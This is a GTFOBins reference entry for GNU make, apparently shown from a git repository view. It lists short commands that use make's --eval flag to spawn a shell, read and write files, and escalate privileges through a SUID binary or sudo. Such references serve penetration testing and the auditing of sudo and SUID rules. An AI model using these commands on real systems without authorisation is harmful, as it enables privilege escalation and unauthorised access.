GTFOBins.github.io/_gtfobins/make.md
hamzawinix c04b99e12b
Update make.md
Output file contents to stdout
2024-04-10 17:28:32 +03:00

844 B

description functions
All these examples only work with GNU `make` due to the lack of support of the `--eval` flag. The same can be achieved by using a proper `Makefile` or by passing the content via stdin using `-f -`.
shell file-write file-read suid sudo
code
COMMAND='/bin/sh' make -s --eval=$'x:\n\t-'"$COMMAND"
description code
Requires a newer GNU `make` version. LFILE=file_to_write make -s --eval="$(file >$LFILE,DATA)" .
description code
Requires a newer GNU `make` version. CMND='cat file_to_read' make -s --eval=$'x:\n\t-'"$CMND"
code
COMMAND='/bin/sh -p' ./make -s --eval=$'x:\n\t-'"$COMMAND"
code
COMMAND='/bin/sh' sudo make -s --eval=$'x:\n\t-'"$COMMAND"